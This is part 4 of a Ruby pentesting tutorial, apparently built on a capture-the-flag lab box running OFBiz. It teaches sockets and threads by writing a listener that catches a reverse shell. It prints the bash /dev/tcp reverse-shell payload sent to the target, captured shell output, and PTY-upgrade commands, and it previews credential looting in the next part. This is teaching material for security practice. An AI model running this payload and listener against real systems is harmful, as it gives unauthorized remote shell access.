// Ruby for Pentesters · Part 4
Catching a shell
Reflected output is clumsy. We write our own TCP listener in Ruby to catch an interactive reverse shell — and learn sockets and threads doing it.
Part 3’s run executes one command and hands back a page you have to grep. For
real work you want a shell — an interactive session on the box. The move is a
reverse shell: we tell the target to connect back to us, and we catch that
connection with a listener. You’ve probably used nc -lvnp for this. We’re
going to write our own in about ten lines of Ruby, because doing so teaches two
things you’ll use forever: sockets and threads.
A socket listener
Ruby’s socket library has a server class. Open a port and wait:
require 'socket'
server = TCPServer.new('0.0.0.0', 4444)
puts '[*] Listening on 4444...'
conn = server.accept
puts "[+] Shell from #{conn.peeraddr[3]}"
TCPServer.new(host, port)binds a listening socket.server.acceptblocks — the program stops there until something connects, then returns aconnobject (a socket) for that connection.conn.peeraddr[3]is the connecting IP, so we can log who showed up.
The problem: two directions at once
Once the shell connects, data flows both ways: the shell sends output to
us, and we send commands to it. If we just wrote one loop —
conn.readpartial to read the shell — we’d be stuck reading and could never
type. Reading and writing both block, and one program can only sit in one
blocking call at a time.
The answer is threads. A thread is a second line of execution inside the same program. We put the “read from shell” loop in its own thread so it runs at the same time as the “read from keyboard” loop:
# Background thread: everything the shell sends -> our screen.
Thread.new do
loop { $stdout.write(conn.readpartial(4096)) }
rescue EOFError
puts "\n[*] Shell closed."
end
# Main thread: everything we type -> the shell.
loop { conn.write($stdin.gets) }
Thread.new do ... endstarts that block running concurrently.conn.readpartial(4096)reads up to 4096 bytes as soon as any arrive — so shell prompts and output show immediately (unlike line-buffered reads).- When the shell dies,
readpartialraisesEOFError; we rescue it and print a notice instead of crashing. - The main thread stays in
$stdin.gets, sending each line you type down the socket.
One threading gotcha worth knowing: a background thread that raises something it doesn’t rescue dies silently — the rest of the program runs on, none the wiser, and you’re left wondering why output stopped. While you’re building, flip that behavior on so a thread’s crash takes the whole program down loudly:
Thread.abort_on_exception = true
Our reader thread rescues its expected EOFError, but anything unexpected would
otherwise vanish; this makes it visible.
Trigger it
Start the listener, then — from the Part 3 tool, in another terminal — fire the
classic bash reverse-shell payload through run, pointing it at your IP:
LHOST = '10.10.14.5'
run("bash -i >& /dev/tcp/#{LHOST}/4444 0>&1")
bash -i is an interactive shell; >& /dev/tcp/<ip>/<port> redirects its
input and output to a TCP connection back to you. Your listener’s accept
returns, and you’re in:
$ ruby listener.rb
[*] Listening on 4444...
[+] Shell from 10.10.11.252
id
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)
That’s a live, interactive foothold as ofbiz — and you’re holding it with
a listener you wrote yourself.
Make the shell usable
That raw shell has no job control, no tab-completion, no arrow keys, and one
stray Ctrl-C kills it. Before doing real work, upgrade it to a full PTY. This
isn’t Ruby — it’s the standard post-exploitation dance, and you’ll run it every
time you catch a shell:
ofbiz@bizness:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ofbiz@bizness:/$ ^Z
$ stty raw -echo; fg
$ export TERM=xterm
pty.spawnre-runs bash under a real pseudo-terminal, so programs that expect a TTY (sudo,ssh, text editors) behave.Ctrl-Zbackgrounds the shell to your local terminal;stty raw -echo; fghands your keystrokes through untouched and resumes it;TERM=xtermgets you a working screen size and clears.
Now it feels like a normal terminal — which matters the moment you start escalating.
The listener, complete
#!/usr/bin/env ruby
require 'socket'
server = TCPServer.new('0.0.0.0', 4444)
puts '[*] Listening on 4444...'
conn = server.accept
puts "[+] Shell from #{conn.peeraddr[3]}"
Thread.new do
loop { $stdout.write(conn.readpartial(4096)) }
rescue EOFError
puts "\n[*] Shell closed."
end
loop { conn.write($stdin.gets) }
Takeaways
- The
socketlibrary gives you raw TCP:TCPServer.newto listen,server.acceptto take a connection (it blocks until one arrives). readpartial(n)returns bytes as soon as they arrive — right for interactive streams; it raisesEOFErrorat end of stream.- Threads (
Thread.new do ... end) run code concurrently — the fix whenever you must read and write at the same time, because both block. - A reverse shell is just the target opening a socket back to your listener;
bash -i >& /dev/tcp/ip/port 0>&1is the payload. - A background thread’s unrescued error dies silently;
Thread.abort_on_exception = truesurfaces it while you build. - Once caught, upgrade the raw shell to a PTY (
python3 -c 'import pty; ...'→stty raw -echo; fg) so job control and interactive programs work.
Exercises
- Read the listen port from the command line:
port = (ARGV[0] || 4444).to_i, soruby listener.rb 9001picks a port and no argument still defaults to 4444. - Print the connect time when a shell lands, using
Time.nowand interpolation. - Tee the session: as the reader thread prints the shell’s output, also append it
to a log file opened with
File.open('session.log', 'a'). Everything the box sends is now on disk too.
Next — Part 5: with a shell as ofbiz, we go looking for credentials — and
learn regex and file handling by looting OFBiz’s embedded database off disk.